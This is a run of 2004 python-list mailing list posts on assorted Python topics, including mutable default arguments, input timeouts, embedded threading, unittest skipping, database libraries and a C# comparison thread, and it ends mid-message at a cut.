Maurice LING wrote:

> 
> I dont't quite get this right. Since x86/PPC uses register operations,
> why do virtual machines, like python's and java's, are designed as stack
> machines? Why not just stick to registers?

Because stacks are common to _all_ processors, where registers are differing
from architecture to architecture - the x86 hasn't been very gifted in that
respect (not sure if that changed recently - at least the SIMD instructions
introduced registers, but you can't rely on that beeing available)

So resorting to stacks makes the implementation totally independend of the
actual processor architecture - and stacks are as good as registers in
terms of abstract use.

What a JIT then does is purely up to its implementors - but thats another
topic.

-- 
Regards,

Diez B. Roggisch


From aleaxit at yahoo.com  Sun Sep 26 04:39:15 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 26 Sep 2004 10:39:15 +0200
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
	<cj18jn$47n$1@pegasus.csx.cam.ac.uk>
	<2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com>
Message-ID: <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com>

Andrea Griffini <agriff at tin.it> wrote:

> On Fri, 24 Sep 2004 14:48:37 +0100, Michael Hoffman
> <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote:
> 
> >I think you're missing the usefulness of this feature. Go back to the
> >link you included and read the next paragraph, "This feature can be useful."
> 
> Given that now functions can have attributes, wouldn't be better
> stop pushing ugly, risky and cryptic syntax for poor's man static ?

I think it's in fact very nice syntax:

def f(x, cache=[]):
    if x in cache: ...

vs your apparently implied suggestion of:

def f(x):
    if x in f.cache: ...
f.cache = []

which among other things suffers from f.cache having to be used in spots
that come lexically before it's defined; or a decorator equivalent:

@ set_function_attributes(cache=[])
def f(x):
    if x in f.cache: ...

As for 'risky', both approaches are.  The default argument risks the
user mistakenly passing a corresponding actual-argment; the function
attribute risks the user rebinding the name.  It just don't work when
the function name aint'a global, as in a closure; nor does it work
equivalently for an overriden method, e.g.:

class base:
    def f(self, x, cache=[]):
        if x in cache: ...

class derived(base):
    def f(self, x, y, cache=[]):
        if y not in cache:
            return base.f(self, x)

here you get two separate caches, one for base.f and one for derived.f,
no sweat -- and if you want base.f to use derived.f's cache when call
from there, just chance the last call to 'base.f(self, x, cache)' --
obvious, simple, elementary.

See now what happens with the use of 'self.f.cache' or 'base.f.cache':
how do you get two separate caches, or get to share one, as easily as
with the normal approach?  You're forcing base's designer to decide for
all derived classes, the normal approach is clearly more flexible.

And good luck in explaining all this to beginners -- while the default
argument approach is really trivial to explain.  Simple is better than
complex, and a general technique like using default values for caching
is better than a technique based on attributes which is not general
enough to be just used everywhere.

_Plus_, teaching this use of default values to beginners helps them
understand how default values work in all cases.  Explaining the dirty
tricks needed to extend a bit the applicability of using function
attributes for caching offers no such nice "side advantage".


> IMO one thing is backward compatibility, another is pushing the
> uglyness in the future for no good reasons.

I think there are plenty of good reasons, see above.

In addition, accessing a local name is of course way faster than
accessing a global name and then an attribute thereof.  In 2.3, I
repeatably measure 1.75 vs 2.50 usec; in 2.4, 1.25 vs 1.84.  If that was
all the local-argument-default advantage, one could quibble, but coming
on top of the above-mentioned arguments, I think it's nice too.


> I am talking about the python docs that everywhere are apparently
> advocating this approach for local cache implementation. Is this
> doing any good for newbies approaching python ?

Yes, it helps them a lot to understand, realize, and remember, that
default values are shared among all of a function's calls.
 
> Or may be this is more pythonic ? If yes... why ?

It's simpler and more general.

If I were to use a decorator, I'd rather have it inject 'static locals'
in some way that doesn't let them be optionally passed as arguments, but
still in local namespace -- less flexible than the plain good old
technique, but avoids "accidental argument-passing" and may be nice when
you need to support *args.  I think the implementation of such a
decorator is a bit messy, though, and besides flexibility you lose the
nice educational side effect.  So, I prefer the status quo in this case.


Alex


From johnfabel at btinternet.com  Thu Sep 30 11:14:43 2004
From: johnfabel at btinternet.com (John Abel)
Date: Thu, 30 Sep 2004 16:14:43 +0100
Subject: Python /etc/shadow
In-Reply-To: <831f3acd.0409280307.6083219a@posting.google.com>
References: <831f3acd.0409280307.6083219a@posting.google.com>
Message-ID: <75144363-12F3-11D9-97EF-000D935578B8@btinternet.com>

Have a look at Medusa.  There is some code in the examples that checks 
against passwd/shadow.

Regards

John

On 28 Sep 2004, at 12:07, shakeeb wrote:

> hi
> i am pretty new to python .i was wondering whether  there is any
> module so that i could authenticate against /etc/shadow file i tried
> pwd it only checks the /etc/passwd file
> Any help will be appreciated
> shakeeb
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>



From adalke at mindspring.com  Sat Sep  4 17:32:21 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 04 Sep 2004 21:32:21 GMT
Subject: docs on for-loop with no __iter__?
In-Reply-To: <mailman.2879.1094332737.5135.python-list@python.org>
References: <mailman.2873.1094321890.5135.python-list@python.org>	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
Message-ID: <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>

Steven Bethard wrote:
> Presumably there was a reason not to use len() to determine
> the end of the sequence?

Because that allows iteration over things where
you don't yet know the size.  For example, reading
lines from a file.  Here's how it could have been
done using Python 1.x

class FileReader:
   def __init__(self, infile):
     self.infile = infile
     self._n = 0

   def next(self):
     line = self.infile.readline()
     if not line:
         return None
     self._n = self._n + 1
     return line

   def __getitem__(self, i):
     assert i == self._n, "forward iteration only"
     x = self.next()
     if x is None:
         raise IndexError, i
     return x

I used the _n to double check that people don't
think it's a random access container.

Support for Python 2.x iterators was easy,

   def __iter__(self):
     return iter(self.next, None)

				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Sun Sep 19 05:21:49 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 19 Sep 2004 11:21:49 +0200
Subject: Need function like "raw_input", but with time limit
References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com>
Message-ID: <1gkcxpr.gihdewhg6wadN%aleaxit@yahoo.com>

Radioactive Man <rm at rm.rm> wrote:

> anyone know of a function like "raw_input", which collects a string
> from the user entry, but one where I can set a time limit, as follows:
> 
> time_limit = 10    # seconds
> user_answer = function_xyz("GIVE ME AN ANSWER:  ", time_limit)  
> 
> 
> The problem with "raw_input" is that it will stop unattended script
> indefinitely.  I'm looking for a function that does the exact same
> thing, but with a time limit feature, and preferably one that returns
> an empty string ('') when it gets no response.  Any suggestions?

It depends on what platforms you need to run on.  On any kind of
Unix-like platform (including Linux, BSD, MacOSX, ...), the function
select of module select can work on any kind of files, including
sys.stdin, and it does provide timeout functionality, too.  So, you
could sys.stdout.write the prompt, then call select.select with
sys.stdin.fileno as the only file descriptor of interest and whatever
timeout you wish.  Depending on what select.select returns you can then
either sys.stdin.readline (and strip the trailing \n) or just return the
empty string from your function.

Unfortunately, on Windows, select.select works only on sockets, not
ordinary files nor the console.  So, if you want to run on Windows, you
need a different approach.  On Windows only, the Python standard library
has a small module named msvcrt, including functions such as
msvcrt.kbhit which tells you whether any keystroke is waiting to be
read.  Here, you might sys.stdout.write the prompt, then enter a small
loop (including a time.sleep(0.2) or so) which waits to see whether the
user is pressing any key -- if so then you can sys.stdin.readline etc,
but if after your desired timeout is over no key has been hit, then just
return the empty string from your function.

All of this assumes that if the user has STARTED typing something then
you want to wait indefinitely (not timeout in the middle of their
entering their answer!).  Otherwise, you have more work to do, since you
must ensure that the user has hit a Return (which means you must peek at
exactly what's in sys.stdin, resp. use msvcrt.getch, one character at a
time).  Fortunately, the slightly simpler approach of waiting
indefinitely if the user has started entering seems to be the preferable
one from a user interface viewpoint -- it lets you deal with unattended
consoles as you desire, yet IF the user is around at all it gives the
user all the time they want to COMPLETE their answer.


Alex
 


From my.news.groups at noos.fr  Thu Sep 16 19:05:13 2004
From: my.news.groups at noos.fr (nik)
Date: Fri, 17 Sep 2004 01:05:13 +0200
Subject: Embedded python with threads
In-Reply-To: <ppbjk0pqp99ep8lob24is1n60eqmbuhhqs@4ax.com>
References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net>
	<ppbjk0pqp99ep8lob24is1n60eqmbuhhqs@4ax.com>
Message-ID: <414A1C29.6000305@noos.fr>

Greg Chapman wrote:
> On Wed, 15 Sep 2004 18:05:54 +0200, nik <my.news.groups at noos.fr> wrote:
> 
> 
>>////
>>Py_Initialize();
>>
>>// PyImport_ImportModule blocks until the myModule script has run
>>// through...
>>PyObject* module = PyImport_ImportModule("myModule");
>>
>>PyObject* function = PyObject_GetAttrString(module, "GetList");
>>while(1) {
>>	PyObject* pyList = PyObject_CallFunction(function, "");
>>	// use the stuff in pyList
>>	sleep(15);
>>	}
> 
> 
> I'm not sure I fully understand your problem, but in the loop above, you should
> have:
> 
>         Py_BEGIN_ALLOW_THREADS
>         sleep(15);
>         Py_END_ALLOW_THREADS
> 
> This releases the Python GIL during the sleep call, allowing your list-filling
> thread to run.
> 
> 
>># the following statement happens when the C++ app imports the module,
>># but the thread only lives as long the main python thread (which is
>># over straight away on my linux PC)
>>
> 
> 
> This is what I don't understand, since the Python main thread should be the
> thread on which Py_Initialize was called; it should remain alive (from Python's
> perspective) until Py_Finalize is called.
> 

I think I was making an assumption that since the list filling threads 
didn't run that the import module was calling the create thread command, 
then exiting (killing the children threads along with it) - I'm a novice 
at threads with python, so I'm probably misunderstanding the general 
picture. However, maybe your suggestion of the Py_BEGIN_ALLOW_THREADS 
will make the difference. I'll try again as soon as I can (not until 
next week now)...

many thanks for the reply,
nik

> ---
> Greg Chapman
> 


From tweedgeezer at hotmail.com  Thu Sep 23 11:40:46 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 23 Sep 2004 08:40:46 -0700
Subject: unittest: new reporting category "skipped"
References: <mailman.3772.1095935910.5135.python-list@python.org>
Message-ID: <698f09f8.0409230740.18bc9185@posting.google.com>

Remy Blank <remy.blank_asps at pobox.com> wrote in message news:<mailman.3772.1095935910.5135.python-list at python.org>...
> Hello unittest users,
> 
> In a project I am working on, I have a series of tests that have
> to be run as root, and others as a normal user.

In my project, I have many tests that require a network connection,
and many others which don't.

> One solution is to separate the tests into two different files,
> and run the right one. I don't like this too much, as I prefer
> to group tests by "function".

I agree.

> class AnythingTest(unittest.TestCase):
> 	def testSomethingAsRoot(self):
> 		self.skipIf(os.geteuid() != 0, "Must be root")
> 
> 		self.assertEqual(...)
> 		...
> 
> 	def testSomethingAsNormalUser(self):
> 		self.skipIf(os.geteuid() == 0, "Must be normal user")
> 
> 		self.assertEqual(...)
> 		...

With all the argument that's happened on this list regarding
decorators and conditional expressions and whatnot, I had been
wondering whether anyone here came up with good ideas anymore.  But
you've certainly given a counterexample for that notion: your idea is
golden.

> If the echo is positive, I will make an initial implementation and
> provide a patch for feedback.

Even if it doesn't get accepted into Python proper, I'll take a copy
and put it with my project -- I already provide my own unittest.py
that I hacked to show the total number of asserts (I was curious one
day, and it's turned out to be a remarkably useful thing to have,
since my tests-upon-tests can hide unreaonable numbers of assertions
which otherwise would go unnoticed (except as a general slowness of
the test suite).

Jeremy


From bj_666 at gmx.net  Tue Sep 21 16:25:57 2004
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Tue, 21 Sep 2004 22:25:57 +0200
Subject: New to Python
References: <a1ff320f.0409211158.29e6256b@posting.google.com>
	<ciq1kk$1jf$05$2@news.t-online.com>
	<YU%3d.179$Xy5.164@fe61.usenetserver.com>
Message-ID: <pan.2004.09.21.20.25.53.879679@gmx.net>

In <YU%3d.179$Xy5.164 at fe61.usenetserver.com>, Jimmie Webb wrote:

> I tried x = float(nCost) but keep getting an error
> 
> ValueError: Invalid literal for float(): EATE TA

Maybe the slice values are just wrong?  Have you printed all your
variables after picking them from the string to make sure they contain
what you expect?

Ciao,
	Marc 'BlackJack' Rintsch


From davecook at nowhere.net  Sat Sep 11 00:53:41 2004
From: davecook at nowhere.net (David Cook)
Date: Sat, 11 Sep 2004 04:53:41 GMT
Subject: Postgresql - Preferred Python Library
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <slrnck516l.4f7.davecook@david-cooks-computer.local>

On 2004-09-09, Graeme Matthew <graeme.matthew at contrado.com.au> wrote:

> Can anyone tell me what is the recommended Python library for database 
> connections

My preference is psycopg, but I also try to test with the standard one that
comes with postgres (the DBAPI module is pgdb) and pyPgSQL.

Dave Cook



From jeffrey at fro.man  Thu Sep  9 00:16:00 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Wed, 08 Sep 2004 21:16:00 -0700
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
	<mailman.3041.1094661030.5135.python-list@python.org>
	<1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
	<mailman.3048.1094665075.5135.python-list@python.org>
Message-ID: <10jvm82sae48rfd@corp.supernews.com>

Steven Bethard wrote:
 
> So, yes, the Template solution is cleaner, but not drastically so.??It
> saves you 3 characters per variable -- '(', ')' and 's'.??Of?course?the
> more variables you have to write, the bigger the deal it is

True, and calling string.Template() is an extra 17 characters, so there
would have to be 6 variables in your string before you got a typing
payoff. :-) Of course, some people might prefer the look of the Template.

Jeffrey


From anna at aleax.it  Sun Sep 26 13:49:34 2004
From: anna at aleax.it (Anna Martelli Ravenscroft)
Date: Sun, 26 Sep 2004 17:49:34 GMT
Subject: Newby Project
In-Reply-To: <415230f9@dnews.tpgi.com.au>
References: <415230f9@dnews.tpgi.com.au>
Message-ID: <OiD5d.4954$85.460324@news3.tin.it>

dit wrote:
> I want to start something small, like a learning program. I've been 
> looking and learning python for about 4 months; and I think that I have 
> the basics under my belt... is it worth trying my own project, or is it 
> better to continue with the py tutes?

Yes. Start coding some of your own stuff. You'll find all new questions 
(and answers) when you do.

> Also if I was to start, how do I pose myself the question of what am I 
> actually trying to achieve / what am I trying to make?

Think about some project you'd really like to have automated. Then think 
about the following questions:

What would you get from it? What kind of output would you want? What 
kind of input (one time, maintenance, adding, deleting)would you want to 
do? Do you want gui or commandline? Would you want it to work 
crossplatform? Or just on one machine?

If you've got those answered (at least a start of the answer), then you 
can start working on the project itself...

HTH,
Anna


From max at alcyone.com  Thu Sep  2 20:12:54 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Sep 2004 17:12:54 -0700
Subject: It's in Python. It just _works_!
References: <4137b3ed$0$65570$a1866201@newsreader.visi.com>
Message-ID: <4137B706.B666E733@alcyone.com>

Grant Edwards wrote:

> Today, just for fun, I decide to try to run it under Win32.
> After installing the Numeric and Gnuplot modules, I only had to
> make 1-line changes to two places in the code, and it started
> working.

I was similarly surprised when, after writing ZOE (a simple 3D rendering
engine using OpenGL) for Linux, I decided on a whim to try it on Windows
(since I don't use Windows for anything other than playing games). 
After installing PyOpenGL, a fairly involved simulation worked with
absolutely no hitches.  In my case, I didn't even have to change one
line of code!

Now, granted, the whole purpose of OpenGL is platform independence.  But
my experience has been that hardly matters when you're trying to get
things working on Windows ...

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ I can paint a portrait of myself / I will call me a black Mona
    Lisa -- Lamya


From aleaxit at yahoo.com  Wed Sep 15 13:30:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 15 Sep 2004 19:30:30 +0200
Subject: The pythonic approach
References: <414656ab$0$4777$a729d347@news.telepac.pt>
	<0dS1d.52$AA4.38@read3.inet.fi>
	<VvudnZA1tsc0r9XcRVn-uw@powergate.ca>
	<mailman.3371.1095265246.5135.python-list@python.org>
Message-ID: <1gk64qx.hlrsmm17i2vl0N%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> I actually wrote code not too long ago that did make a call like .get(x, x).

I consider somedict.get(x, x) a _frequent_ Python idiom!

translate_some_tags = dict(
    application='literal',
    foobar='barfoo',
    whatever='somethingelse',
    }

def translate_tag(tagName, attributes_dict):
    if tagName == 'emphasis' and attributes.get('role')=='bold':
        return 'bold'
    else:
        return translate_some_tags.get(tagName, tagName)

Isn't that a pretty frequent idiom when doing some minor massaging of
XML markup, for example?  (Spare me the passionate defenses of XSLT
please... I'm happy to use XSLT when warranted, but a lot of the XML
processing I do, and I _do_ do a lot of that, is in
Python+pulldom...!-).

> back.  I didn't have a function for it in my code, but I don't see why a
> function like:
> 
> def getstem(self, word):
>     return self.stemdict.get(word, word)
> 
> would be so unreasonable.

A very good idea!  If tomorrow you need to specialcase something, based
e.g. on RE's, you stick those into getstem (just like I do in
translate_tag for the few cases where a tag's translation may depend on
its attributes), and Bob's your uncle.  MUCH better than spreading calls
to get(word,word) all over the place!!!


Alex


From abra9823 at mail.usyd.edu.au  Wed Sep 15 04:16:07 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Wed, 15 Sep 2004 18:16:07 +1000
Subject: tkinter + interrupts
Message-ID: <1095236167.4147fa4752076@www-mail.usyd.edu.au>

hi!

on my gui, i have a "start server" button and a "stop server" button.
the problem is "start server" will loop infinitely and respond to requests.
i'd like to be able to click on "stop server" and get the server to stop.

how would i go about doing it? i can think of a soln involving threads,
where i have "start server" in a separate thread and have it continously
poll a shared variable. but is there another solution not involving
threads.

thanks

cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From martin at v.loewis.de  Wed Sep 15 01:20:01 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 15 Sep 2004 07:20:01 +0200
Subject: Is this a bug in the windows tempfile.py?
In-Reply-To: <ci81j8$mf@odak26.prod.google.com>
References: <ci81j8$mf@odak26.prod.google.com>
Message-ID: <4147d101$0$173$9b622d9e@news.freenet.de>

Jonathan Wright wrote:
> Should the wrapper inherit types.FileType?

No. Code assuming that the result from tempfile.TemporaryFile
is a file object is broken - you are only guaranteed a
file-like object. Applications should not use isinstance to
determine whether something is a file-like object.

Regards,
Martin


From rademacher at prostep.FTA-berlin.de  Mon Sep 27 08:09:48 2004
From: rademacher at prostep.FTA-berlin.de (Thomas Rademacher)
Date: Mon, 27 Sep 2004 14:09:48 +0200
Subject: synchronize a block
Message-ID: <2rqduhF1di4lmU1@uni-berlin.de>

Hallo,

I want to synchronize the main function of my script. I havn't a class
structure in my script.

def main():
    # my code to synchronized

if __name__=='__main__':
    main()

How can I resolve this problem simply?

Thank's for your hints, Thomas





From tim.peters at gmail.com  Sat Sep 11 11:20:52 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 11 Sep 2004 11:20:52 -0400
Subject: Shorter checksum than MD5
In-Reply-To: <9418be08.0409110359.4e8aac81@posting.google.com>
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>
	<7xllfjfe9m.fsf@ruckus.brouhaha.com>
	<9418be08.0409100656.516fef2d@posting.google.com>
	<mailman.3182.1094879870.5135.python-list@python.org>
	<9418be08.0409110359.4e8aac81@posting.google.com>
Message-ID: <1f7befae040911082030b134e@mail.gmail.com>

[Elbert Lev]
> Very good. But I beleive, he [Paul Rubin] did not mentioned a "hostile
> environment".

You quoted this qualification from Paul, which I quoted too: 

>> Also, with CRC32, it's very easy to create a record on purpose that has any
>> given checksum.  Is THAT a problem?  ...

I suppose that's not a hostile environment if you believe that when
someone deliberately tries to fool your checksum, they're trying to
express love.  I don't personally believe that.  Well, not in general.
 Some people express their emotions in peculiar ways.  But I assume
too that Paul wasn't really talking about abnormal psychology, in
which case his point here was quite clear.

then-again-perhaps-love-&-hostility-are-the-same-thing<wink>-ly y'rs  - tim


From hans at zephyrfalcon.org  Sun Sep 19 23:17:57 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Sun, 19 Sep 2004 23:17:57 -0400
Subject: python is going to die! =(
In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <KZr3d.53$3Y2.19@fe61.usenetserver.com>

julio wrote:

With a subject like that, you don't really need to read the message to figure 
out that it's an obvious troll.  I don't want to feed it, but between all the 
"crap" and "retarded" rhetoric, some actual points can be discerned.  A few 
comments are in order...

> What does c# .net has that python doesnt ? (significant features) 
> 
> -- tools,tools,tools : have people that likes python ever used an ide? i
> mean a good ide, the one that saves you a lot of time, and makes you
> productive.

Such an IDE will only make you significantly more productive if the language is 
inherently *UN*productive.  There's a reason full-fledged IDEs are popular with 
languages like Java and C# and less popular with Python.  I haven't done much 
Java programming, but when I did, I was constantly looking up stuff (classes, 
methods, types, etc); in that kind of environment, code completion, tooltips 
etc are very useful.  Without them, programming in these languages is (even 
more of) a pain.  In Python, I don't very often need to look things up, and if 
I do, the interactive interpreter can be a great help.  As a result, a text 
editor suffices for most Python programming, even for large projects.  (Some 
people might want to use an IDE anyway, but that is mostly a matter of 
preference, not of necessity.)

>  -- C # is almost perfetly designed, python is very well designed but it has
> some crap that obscurize it and is not going to be removed because of the
> damn backwards compatibility thing, 

The "damn backwards compatibility thing" guarantees that older Python code 
still runs, more or less unchanged, on recent interpreters.  (Well, most of the 
time.)

>  -- C # is easy to use,fast apps coding (as python) but!! it has all the
> advantages of a compiled language , like less bugs concerning silly types
> mistakes , ides and tools can take much much more advantage of static
> typing , it is much much much faster , and finally is much more readable
> than python since i dont have to be guessing in the woods to know what type
> of value a function return , or what types are the functions argument or
> WTF does 'return MOM' means?

This is only an issue if you think the actual types of things are important. 
Code like

   def foo(x, y):
       x.this()
       y.that()

doesn't *need* types.  All Python cares about is that x has the this() method, 
and that y has the that() method.  The actual types are unimportant.  This is 
an important difference from languages like C# (and Java, ObjectPascal, C++, 
yadda yadda), and allows for entirely different coding styles and design.  If 
you think this is a problem or a deficiency, then you don't understand what 
Python (or dynamic languages in general, really) is all about.

> -- C # is killing python, first the gnome guys dont know what to choose for
> their core system development , if mono-C # ? or java ? the only reason C #
> hasnt being choosen is because of legal issues, and java? well it realy
> sucks so no surprise , but is considered just because eclipse wich is the
> most kick ass ide ever. AND they dont even consider python for a high level
> language to choose!!

If they're choosing between Java and C#, they were obviously not interested in 
high-level languages.  Also, the article you mention in another post 
(http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm) says:

"""Waugh conceded that the decision to move to a higher level programming 
language is partly a political one. Two major corporate backers of the GNOME 
project have competing technologies -- Novell with the Mono project and Sun 
Microsystems with Java."""

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From peter at engcorp.com  Fri Sep 10 11:22:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 11:22:11 -0400
Subject: Electronic voting feasibility
In-Reply-To: <chses7$cha@odah37.prod.google.com>
References: <chses7$cha@odah37.prod.google.com>
Message-ID: <A5KdnSMSTv45W9zcRVn-qg@powergate.ca>

Greg Steffensen wrote:
> Glad to hear that python is less susceptible to buffer-overflows; if
> part of the system ended up touching the disk, would python's speed
> make it susceptible to race conditions?

Race conditions can occur with *anything*, and are generally
a design issue, not a performance issue.  Python's speed
shouldn't be a concern here, with proper design (and the
same thing needs to be said for C or assembly).

I'm not sure why you tie that possibility to "touching the disk",
though.  What does that have to do with race conditions?

Rather than answer detailed questions, I would simply say this
to you.  Python is very well suited to doing a prototype of
an open source voting system.  You might want to check the
archives for this list before you start something from scratch,
however: 
http://groups.google.ca/groups?q=open+source+voting+system+group%3Acomp.lang.python.*

(Now I'm curious what happened to that project... Anand?  David?)

(That might lead you here http://evm2003.sourceforge.net/index.html
and http://www.openvotingconsortium.org/ and from those you will
find many other links to reference material.)

-Peter


From bokr at oz.net  Wed Sep 29 15:16:31 2004
From: bokr at oz.net (Bengt Richter)
Date: 29 Sep 2004 19:16:31 GMT
Subject: Social Analysis and Modeling for Python
References: <mailman.4083.1096472628.5135.python-list@python.org>
Message-ID: <cjf1mf$jtc$0$216.39.172.122@theriver.com>

On Wed, 29 Sep 2004 11:37:08 -0400, Bishara Gabriel <bgabriel at cloudthunder.com> wrote:

>I encourage feedback from all parties and especially those which would 
>like to be directly involved (I may include you in the grant proposal 
>and budget).  Send me your comments!
>
>------->
>
>Project Objective
>
>We seek to introduce the advantages of object-oriented programming to
>the realm of social sciences.  We believe the fields thereof (economics,
>history, sociology, political science, etc.), have much to gain from
>OOP?s ability to represent social constructs.  Particularly, we have
>found Python to be well suited to the rapid formulation of social models
>due to its syntactic simplicity, outstanding support for object-oriented
>programming, and comprehensive libraries.  Unfortunately, most academics
>in the aforementioned fields are unaware of the capabilities, let alone
>applicability, of programmatic representation.  Those who do are
>typically put off by the inadequacy and complexity of more traditional
>languages such as C and C++.  We therefore propose to disseminate an
>understanding among these fields of the ability to develop social models
>and represent social constructs via the rapid modeling capabilities of
>the Python language.  We seek to demonstrate how Python presents to them
>limited costs in production time via its language features, and to show
>how social models can be mentally approached in such a way that there
>exists a one-to-one correlation between their theoretical model and the
>Python equivalent.
>
>See the rest of the proposal at:
>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf

I am sure Python can be a great tool, but why no citations re existing
"social models" that you mention? If you propose to "... show
how social models can be mentally approached in such a way that there
exists a one-to-one correlation between their theoretical model and the
Python equivalent," ISTM your proposal would sound more concrete if you
pointed to a specific "theoretical model" as your choice for a
how-to-do-it-with-Python demonstration.

Also citations of related work, and why your project adds value (besides
advertising our favorite language ;-)

Regards,
Bengt Richter


From pm_mon at yahoo.com  Thu Sep  2 07:03:50 2004
From: pm_mon at yahoo.com (Paul Morrow)
Date: Thu, 02 Sep 2004 07:03:50 -0400
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <20040902024221.GA3626@unpythonic.net>
References: <e69d3ed204082607536abfa65c@mail.gmail.com>	<cgkuf9$ehg$1@sea.gmane.org>	<e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<HBF.20040901iia9@bombur.uio.no>
	<ch5mkq$tb1$1@sea.gmane.org> <20040902024221.GA3626@unpythonic.net>
Message-ID: <ch6umj$74i$1@sea.gmane.org>

Jeff Epler wrote:
> I think it's crazy to change the language so that some of these
> functions give NameErrors when called, and others succeed.
> 
>      def f():         # Succeeds
>         if 1:
>             __x__ = None
>         return __x__
> 
>     def f2():        # Fails (but identical to above, today)
>         __x__ = None
>         return __x__
>

[snip]

With contrived examples, lots of things can look 'crazy'.  You don't 
really use __x__ as a local variable name do you?  That should be a 
compiler warning at least when you do that.  In fact, we obviously don't 
take magic variables seriously enough (IMO).  If we want to invent a new 
one, we should probably have to declare it somehow, otherwiwe you get a 
'undefined magic name' error.  That would make it a little harder to 
confuse the reader of your code.

So please try your examples again, but this time choose code that 
doesn't misuse magic variable syntax and which might possibly show up in 
the real world.


> You complicate the language when you create a new type of assignment
> that is special not because of the syntax, but because of the location
> in the suite of "def".
> 

docstrings are the precendent for this.


> You violate the law that most several special statements are expressible
> in terms of assignment (import, class, and def in terms of __import__,
> type(), and lambda:) or assignment plus looping (for in terms of while +
> except + assignment).
> 

Yep, only the equal sign ('=') would be allowed there.  That's not very 
limiting considering the intended purpose (making declarations), and it 
helps reinforce the visual separation of declaration and body.

> You also add a new constraint not expressible directly in the Grammar
> file.
> 

It would be easy to write a BNF expression that states that the optional 
docstring is followed by 0+ assignments to magic variables.  So what are 
you referring to here?


> What about these?  Are 2/3 of them now to be invalid syntax (and the
> remaining gives NameError)?  Or will they all compile, and 2/3 of them
> give an exception?
> 
>     def k():
>         __x__, y = range(2)
>         return __x__
> 
>     def k2():
>         y, __x__ = range(2)
>         return __x__
> 
>     def k3():
>         __y__, __x__ = range(2)
>         return __x__
> 

As above, I think that the answer to your question becomes obvious once 
you try to craft real-life examples, using properly named magic and 
local variables.

> Have you defined what happens in this case (I imagine that 'False' is
> the proper output, but I also believe that many would be surprised to
> get True)?
> 
>     __x__ = False
>     def m():
>         __x__ = True
>         __y__ = __x__ 
>     print m.__y__
> 
> Jeff
> 

Rewrite and you'll see...

      __author__ = 'Morrow'      # defines the container's author
      def m():
          __author__ = 'Smith'   # defines m's author
          __doc__ = __author__   # defines m's docstring
      print m.__doc__


Paul



From newsgroups at jhrothjr.com  Sun Sep 12 21:58:46 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 12 Sep 2004 20:58:46 -0500
Subject: Newbie: tuple list confusion.
References: <20040912195529.03437.00000338@mb-m27.aol.com>
Message-ID: <10k9vnqkfieasd7@news.supernews.com>


"Q852913745" <q852913745 at aol.com> wrote in message 
news:20040912195529.03437.00000338 at mb-m27.aol.com...
>I am trying to learn python from 'Python programming for the absolute 
>beginner'
> I'm sure I understand the difference between tuples and lists, but while
> experimenting with what I have learned so far, I was suprised that this 
> code
> worked.
>
> # Create list a
> a=["start",878,"item 1",564354,"item 2"]
> print "length of list a =",len(a)
> print "a =",a ; print
>
> # Create tuple b
> b=(234,"item 3",456,"end")
> print "length of tuple b =",len(b)
> print "b =",b ; print
>
> print "Add b onto a"  # Shouldn't work!
> #---------------------------------------------
> # a=a+b    # causes an error as it should,
> a+=b      # but why is this ok?
> #---------------------------------------------
> print "a =",a
> print "length of a =",len(a)
> print;c=raw_input("Press enter to exit")
>
> My book states that a=a+b and a+=b are the same, and that different 
